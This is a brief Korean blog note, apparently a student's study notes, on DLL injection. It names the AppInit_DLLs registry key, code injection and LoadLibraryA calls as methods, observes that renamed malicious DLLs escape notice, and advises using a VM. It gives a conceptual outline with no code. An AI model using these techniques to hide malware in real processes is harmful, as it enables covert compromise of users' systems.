프로세스 모니터, 해커? 여기서 Notepad.exe 에서 우클릭 - Inject dll로 - 아무 dll 로드 하면 명단이 들어감

이런것들을 쓰면은 흔적이 남기는하는데 왜 쓰냐면

해커들은 dll을 구현해서 dll안에 악성코드를 집어넣고 해당 악성코드를 dll Injection으로 집어넣는것임

dll이 뜬다면 단점이 있기는한데 dll정도면 (이름바꾸고하면) 거의 사람눈에 안띈다고 추측,예측을 하고 편리성이 크기 때문에 사용함

 

DLL Injection

 

Appinit DLLs 레지스트리 키

Code Injection 사용한 DLL Injection

대상 프로세스에서 LoadLibraryA API 호출

 

이것을 사용하면 거의 모든것에서 해당dll을 키게됨 

Appinit을 수정해서 할때는 무조건 vm(벽돌가능성 상당히 농후함)을 사용해야함

 

 

https://support.microsoft.com/ko-kr/help/197571/working-with-the-appinit-dlls-registry-value

 

https://support.microsoft.com/ko-kr/help/197571/working-with-the-appinit-dlls-registry-value

쿠키가 사용되고 있지 않습니다. 쿠키를 사용하고 페이지를 새로 고치세요.

support.microsoft.com

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Comments